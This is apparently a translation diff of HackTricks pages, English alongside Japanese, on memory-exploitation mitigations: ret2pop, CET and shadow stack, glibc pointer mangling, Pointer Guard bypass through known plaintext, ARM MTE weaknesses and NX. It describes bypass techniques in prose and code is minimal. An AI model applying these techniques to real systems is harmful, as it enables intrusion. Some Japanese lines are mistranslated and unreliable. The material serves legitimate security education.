Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. [**このリンク**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)を参照すると、脆弱なバイナリの例を見ることができ、[**こちら**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)ではエクスプロイトを見ることができます。
## Ret2pop ## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\ **変更したくないスタック内の完璧なポインタを見つけた場合**`ret2ret`では最終的な最下位バイトを`0x00`に変更します)、同じ`ret2ret`攻撃を実行できますが、**RETスレッドの長さは1短くする必要があります**(そのため、最終的な`0x00`が完璧なポインタの直前のデータを上書きします)、そして**RETスレッドの最後の**アドレスは**`pop <reg>; ret`**を指す必要があります。\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. このようにして、**完璧なポインタの前のデータがスタックから削除されます**(これは`0x00`によって影響を受けるデータです)し、**最終的な`ret`はスタック内の完璧なアドレスを指します**。
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. [**このリンク**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)を参照すると、脆弱なバイナリの例を見ることができ、[**こちら**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)ではエクスプロイトを見ることができます。
## References ## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET) ## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. **CET**は、**Return-Oriented Programming (ROP)**や**Jump-Oriented Programming (JOP)**などの一般的な制御フロー乗っ取り攻撃を防ぐために設計された、ハードウェアレベルで実装されたセキュリティ機能です。これらの攻撃は、プログラムの実行フローを操作して悪意のあるコードを実行したり、無害なコードの断片を連結して悪意のあるアクションを実行させたりします。
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. CETは、**間接分岐追跡 (IBT)**と**シャドウスタック**の2つの主要な機能を導入します。
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. - **IBT**は、間接ジャンプやコールが有効なターゲットに対して行われることを保証します。これは、間接分岐の合法的な宛先として明示的にマークされた有効なターゲットを使用する新しい命令セットを通じて実現され、攻撃者が制御フローを任意の場所に逸脱させるのを防ぎます。
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. - **シャドウスタック**は、戻りアドレスの整合性を提供するメカニズムです。通常のコールスタックとは別に、戻りアドレスの安全で隠れたコピーを保持します。関数が戻るとき、戻りアドレスはシャドウスタックと照合され、攻撃者がスタック上の戻りアドレスを上書きして制御フローを乗っ取るのを防ぎます。
## Shadow Stack ## シャドウスタック
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. **シャドウスタック**は、**戻りアドレスを格納するためだけに使用される専用のスタック**です。通常のスタックと連携して機能しますが、通常のプログラム実行から保護され、隠されているため、攻撃者が改ざんするのが難しくなっています。シャドウスタックの主な目的は、従来のスタック上の戻りアドレスに対する変更が使用される前に検出されることを保証し、ROP攻撃を効果的に軽減することです。
## How CET and Shadow Stack Prevent Attacks ## CETとシャドウスタックが攻撃を防ぐ方法
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. **ROPおよびJOP攻撃**は、スタック上のポインタや戻りアドレスを上書きする脆弱性を利用して、アプリケーションの制御フローを乗っ取る能力に依存しています。攻撃者は、既存のコードガジェットやリターン指向プログラミングガジェットのシーケンスにフローを誘導することで、任意のコードを実行できます。
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. - **CETのIBT**機能は、間接分岐が明示的に有効なターゲットとしてマークされたアドレスにのみジャンプできることを保証することで、これらの攻撃を大幅に困難にします。これにより、攻撃者がバイナリ全体に広がる任意のガジェットを実行することが不可能になります。
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. - 一方、**シャドウスタック**は、攻撃者が通常のスタック上の戻りアドレスを上書きできた場合でも、関数から戻る際に破損したアドレスとシャドウスタックに保存された安全なコピーを比較することで**不一致が検出される**ことを保証します。アドレスが一致しない場合、プログラムは終了するか、他のセキュリティ対策を講じることができ、攻撃の成功を防ぎます。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,81 +2,81 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement ## チャンクアライメントの強制
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. **Malloc**は**8バイト32ビットまたは16バイト64ビットのグループ**でメモリを割り当てます。これは、32ビットシステムではチャンクの終わりが**0x8**に整列し、64ビットシステムでは**0x0**に整列する必要があることを意味します。このセキュリティ機能は、ポインタをビンから使用する前に、各チャンクがこれらの特定の位置で**正しく整列しているか**をチェックします。
### Security Benefits ### セキュリティの利点
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. 64ビットシステムにおけるチャンクアライメントの強制は、**偽のチャンクの配置を16アドレスごとに1つに制限することによって、Mallocのセキュリティを大幅に向上させます**。これにより、特にユーザーが入力値を制限された状況での攻撃が複雑になり、成功させるのが難しくなります。
- **Fastbin Attack on \_\_malloc_hook** - **\_\_malloc_hookに対するファストビン攻撃**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. Mallocの新しいアライメントルールは、`__malloc_hook`に関する古典的な攻撃も阻止します。以前は、攻撃者はチャンクサイズを操作して**この関数ポインタを上書きし、**コード実行**を得ることができました。現在、厳格なアライメント要件により、そのような操作はもはや実行可能ではなくなり、一般的な悪用経路が閉じられ、全体的なセキュリティが向上します。
## Pointer Mangling on fastbins and tcache ## ファストビンとtcacheにおけるポインタのマングリング
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). **ポインタのマングリング**は、メモリ管理操作において**ファストビンおよびtcache Fdポインタ**を保護するために使用されるセキュリティ強化です。この技術は、特に漏洩したメモリ情報を必要としない、または既知の位置に対してメモリ位置を直接操作するタイプのメモリ悪用戦術を防ぐのに役立ちます(相対的な**上書き**)。
The core of this technique is an obfuscation formula: この技術の核心は、難読化の公式です:
**`New_Ptr = (L >> 12) XOR P`** **`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer. - **L**はポインタの**ストレージ位置**です。
- **P** is the actual **fastbin/tcache Fd Pointer**. - **P**は実際の**ファストビン/tcache Fdポインタ**です。
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. ストレージ位置Lを右に12ビットシフトする理由は重要です。この操作は、メモリアドレスの最下位12ビットの決定論的な性質に内在する脆弱性に対処します。これらのビットは、システムアーキテクチャの制約により通常予測可能です。ビットをシフトすることで、予測可能な部分が方程式から外れ、新しいマングルされたポインタのランダム性が向上し、これらのビットの予測可能性に依存する悪用から保護されます。
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. このマングルされたポインタは、プログラムが使用するアドレスをランダム化する**アドレス空間配置ランダム化ASLR**によって提供される既存のランダム性を活用します。
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. ポインタを元のアドレスに戻すための**デマングリング**は、同じXOR操作を使用します。ここでは、マングルされたポインタが公式のPとして扱われ、変更されていないストレージ位置LとXORされると、元のポインタが明らかになります。このマングリングとデマングリングの対称性により、システムは大きなオーバーヘッドなしにポインタを効率的にエンコードおよびデコードでき、メモリポインタを操作する攻撃に対するセキュリティが大幅に向上します。
### Security Benefits ### セキュリティの利点
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: ポインタのマングリングは、ヒープ管理における**部分的および完全なポインタの上書きを防ぐ**ことを目的としており、セキュリティの大幅な向上です。この機能は、いくつかの方法で悪用技術に影響を与えます:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. 1. **バイト相対的上書きの防止**:以前は、攻撃者はポインタの一部を変更して**ヒープチャンクを異なる位置にリダイレクトすることができました**が、ポインタのマングリングにより、そのような相対的上書きは**ヒープリークなしではブルートフォースを必要とし**、成功の可能性が大幅に減少します。
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. 2. **tcacheビン/ファストビン攻撃の難易度の増加**ファストビンまたはtcacheエントリを操作して関数ポインタ`__malloc_hook`などを上書きする一般的な攻撃が妨げられます。たとえば、攻撃はLibCアドレスを漏洩させ、チャンクをtcacheビンに解放し、Fdポインタを上書きして`__malloc_hook`にリダイレクトして任意のコード実行を行うことが含まれるかもしれません。ポインタのマングリングにより、これらのポインタは正しくマングルされる必要があり、**正確な操作にはヒープリークが必要**となり、悪用の障壁が高まります。
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. 3. **非ヒープ位置でのヒープリークの必要性**:スタック、.bssセクション、PLT/GOTなどの非ヒープ領域に偽のチャンクを作成することも、ポインタのマングリングの必要性から**ヒープリークを必要とします**。これは、LibCアドレスを操作するための要件と同様に、これらの領域を悪用する複雑さを拡張します。
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. 4. **ヒープアドレスの漏洩がより困難になる**ポインタのマングリングは、ファストビンおよびtcacheビンにおけるFdポインタの有用性を制限しますが、未ソート、小、大のビンのポインタはマングルされていないため、アドレスを漏洩させるために引き続き使用可能です。このシフトにより、攻撃者は悪用可能な情報を探すためにこれらのビンを探索する必要がありますが、一部の技術では、制約があるものの、リークの前にポインタをデマングルすることができるかもしれません。
### **Demangling Pointers with a Heap Leak** ### **ヒープリークを使用したポインタのデマングリング**
> [!CAUTION] > [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). > プロセスのより良い説明については、[**こちらの元の投稿を確認してください**](https://maxwelldulin.com/BlogPost?post=5445977088)。
### Algorithm Overview ### アルゴリズムの概要
The formula used for mangling and demangling pointers is:&#x20; ポインタのマングリングとデマングリングに使用される公式は:&#x20;
**`New_Ptr = (L >> 12) XOR P`** **`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. ここで**L**はストレージ位置、**P**はFdポインタです。**L**が12ビット右にシフトされると、**P**の最上位ビットが露出します。これは、**XOR**の性質により、ビットが自分自身とXORされると0を出力するためです。
**Key Steps in the Algorithm:** **アルゴリズムの主要なステップ:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. 1. **最上位ビットの初期リーク**:シフトされた**L**と**P**をXORすることにより、**P**の上位12ビットを効果的に取得します。シフトされた部分の**L**はゼロになるため、**P**の対応するビットは変更されません。
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. 2. **ポインタビットの回復**XORは可逆的であるため、結果とオペランドの1つを知っていれば、他のオペランドを計算できます。この特性を利用して、マングルされたポインタの部分と既知のビットセットを順次XORすることで、**P**のビット全体を推測します。
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. 3. **反復デマングリング**:このプロセスは繰り返され、各回で前のステップから得られた**P**の新たに発見されたビットを使用して、マングルされたポインタの次のセグメントをデコードします。すべてのビットが回復されるまで続けます。
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. 4. **決定論的ビットの処理****L**の最終的な12ビットはシフトにより失われますが、これらは決定論的であり、プロセス後に再構築できます。
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) このアルゴリズムの実装は、こちらで見つけることができます:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard ## ポインターガード
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. ポインターガードは、glibcで使用される悪用緩和技術で、特に`atexit()`などのライブラリ呼び出しによって登録された関数ポインタを保護します。この保護は、ポインタをスクリューブラシで混乱させ、スレッドデータ(`fs:0x30`に保存された秘密とXORし、ビット単位の回転を適用することを含みます。このメカニズムは、攻撃者が関数ポインタを上書きすることによって制御フローをハイジャックするのを防ぐことを目的としています。
### **Bypassing Pointer Guard with a leak** ### **リークを使用したポインターガードのバイパス**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. 1. **ポインターガード操作の理解**ポインタのスクリューブラシマングリングは、64ビットの秘密とXORし、0x11ビットの左回転を行う`PTR_MANGLE`マクロを使用して行われます。元のポインタを回復するための逆操作は`PTR_DEMANGLE`によって処理されます。
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. 2. **攻撃戦略**:攻撃は、攻撃者がポインタの元のバージョンとマングルされたバージョンの両方を知る必要がある既知の平文アプローチに基づいています。
3. **Exploiting Known Plaintexts:** 3. **既知の平文を悪用する**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - **固定関数ポインタの特定**glibcのソースコードや初期化された関数ポインタテーブル`__libc_pthread_functions`など)を調べることで、攻撃者は予測可能な関数ポインタを見つけることができます。
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. - **秘密の計算**`__pthread_attr_destroy`のような既知の関数ポインタと関数ポインタテーブルからのそのマングルされたバージョンを使用して、マングルされたポインタを逆回転右回転し、関数のアドレスとXORすることで秘密を計算できます。
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. 4. **代替平文**攻撃者は、0や-1のような既知の値でポインタをマングルして、これらがメモリ内で識別可能なパターンを生成するかどうかを確認することもできます。これにより、メモリダンプ内でこれらのパターンが見つかった場合に秘密が明らかになる可能性があります。
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. 5. **実用的な応用**秘密を計算した後、攻撃者は制御された方法でポインタを操作し、libcベースアドレスの知識と任意のメモリ位置を読み取る能力を持って、マルチスレッドアプリケーションにおけるポインターガード保護を実質的にバイパスできます。
## References ## 参考文献
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE) # メモリ タギング拡張 (MTE)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. **メモリ タギング拡張 (MTE)** は、**バッファオーバーフローや使用後の解放脆弱性**などのメモリ関連エラーを**検出および防止する**ことで、ソフトウェアの信頼性とセキュリティを向上させるように設計されています。MTEは、**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを付ける**メカニズムと、そのメモリを参照する**各ポインタに対応するタグを付ける**メカニズムを提供します。このアプローチにより、実行時に不正なメモリアクセスを検出でき、任意のコードを実行するための脆弱性を悪用するリスクが大幅に低減されます。
### **How Memory Tagging Extension Works** ### **メモリ タギング拡張の動作方法**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20; MTEは、**メモリを小さな固定サイズのブロックに分割し、各ブロックにタグを割り当てる**ことによって動作します。通常、タグは数ビットのサイズです。&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. ポインタがそのメモリを指すように作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに保存され**、ポインタを対応するメモリブロックに効果的にリンクします。
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** プログラムがポインタを介してメモリにアクセスすると、MTEハードウェアは**ポインタのタグがメモリブロックのタグと一致するかどうかを確認します**。タグが**一致しない場合**、それは**不正なメモリアクセス**を示します。
### MTE Pointer Tags ### MTEポインタタグ
Tags inside a pointer are stored in 4 bits inside the top byte: ポインタ内のタグは、上位バイトの4ビットに保存されます
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**. したがって、**16の異なるタグ値**を持つことができます。
### MTE Memory Tags ### MTEメモリタグ
Every **16B of physical memory** have a corresponding **memory tag**. すべての**16Bの物理メモリ**には、対応する**メモリタグ**があります。
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. メモリタグは、**専用のRAM領域**に保存され通常の使用ではアクセスできません、16Bのメモリタグごとに4ビットのタグを持ち、最大でRAMの3%を占めます。
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
ARMは、専用のRAMメモリ内でこれらのタグを操作するために、次の命令を導入します
``` ```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
... ...
``` ```
## チェックモード
## Checking Modes ### 同期
### Sync CPUは**命令実行中に**タグをチェックし、一致しない場合は例外を発生させます。\
これは最も遅く、最も安全です。
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ ### 非同期
This is the slowest and most secure.
### Async CPUは**非同期に**タグをチェックし、一致しない場合はシステムレジスタの1つに例外ビットを設定します。これは前のものより**速い**ですが、一致しない原因となる正確な命令を**特定できず**、例外を即座に発生させず、攻撃者に攻撃を完了する時間を与えます。
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. ### 混合
### Mixed
??? ???
## Implementation & Detection Examples ## 実装と検出の例
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ ハードウェアタグベースのKASAN、MTEベースのKASAN、またはカーネル内MTEと呼ばれます。\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. カーネルアロケータ(`kmalloc`など)は、このモジュールを**呼び出し**、使用するタグを準備し(ランダムに)、カーネル空間に割り当てられたものと返されたポインタに付加します。
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. 要求されたサイズに対して**十分なメモリグラニュール**各16Bのみを**マーク**することに注意してください。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bがこのタグでマークされ、**残り**は**無効なタグ0xE**で**マーク**されます。
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリは、**任意のタグを使用して**そのメモリにアクセスすることを許可します一致しません。これは、攻撃されたメモリでこのタグが使用されている場合、METが攻撃を検出するのを防ぐ可能性があります。
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. したがって、0xEと0xFが予約されているため、タグを生成するために使用できるのは**14の値**のみであり、タグの**再利用の確率**は1/17 -> 約**7%**です。
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% カーネルが**無効なタググラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスした場合、**メモリが異なるタグ**(または無効なタグ)を持っていると、不一致が**検出**されます。攻撃者が運が良く、メモリが同じタグを使用している場合、検出されません。確率は約7%です。
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. もう1つのバグは、割り当てられたメモリの**最後のグラニュール**で発生します。アプリケーションが35Bを要求した場合、32から48のグラニュールが与えられました。したがって、**36から47のバイトは同じタグを使用しています**が、要求されていません。攻撃者が**これらの追加バイトにアクセスすると、これは検出されません**。
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. **`kfree()`**が実行されると、メモリは無効なメモリタグで再タグ付けされるため、**use-after-free**の際にメモリに再度アクセスすると、**不一致が検出**されます。
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). ただし、use-after-freeの場合、同じ**チャンクが以前と同じタグで再割り当て**されると、攻撃者はこのアクセスを利用でき、これは検出されません約7%の確率)。
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). さらに、**`slab``page_alloc`**のみがタグ付きメモリを使用しますが、将来的には`vmalloc``stack`、および`globals`でも使用される予定です(ビデオの時点では、これらはまだ悪用可能です)。
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). **不一致が検出される**と、カーネルはさらなる悪用とエクスプロイトの再試行を防ぐために**パニック**しますMTEには偽陽性はありません
## References ## 参考文献
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. **No-Execute (NX)** ビットは、Intel用語で **Execute Disable (XD)** とも呼ばれ、**バッファオーバーフロー** 攻撃の影響を **軽減** するために設計されたハードウェアベースのセキュリティ機能です。実装され有効化されると、**実行可能コード** 用のメモリ領域と、**スタック** や **ヒープ** のような **データ** 用のメモリ領域を区別します。基本的なアイデアは、攻撃者がバッファオーバーフローの脆弱性を通じて悪意のあるコードを実行するのを防ぐことです。例えば、悪意のあるコードをスタックに置き、実行フローをそれに向けることを防ぎます。
## Bypasses ## バイパス
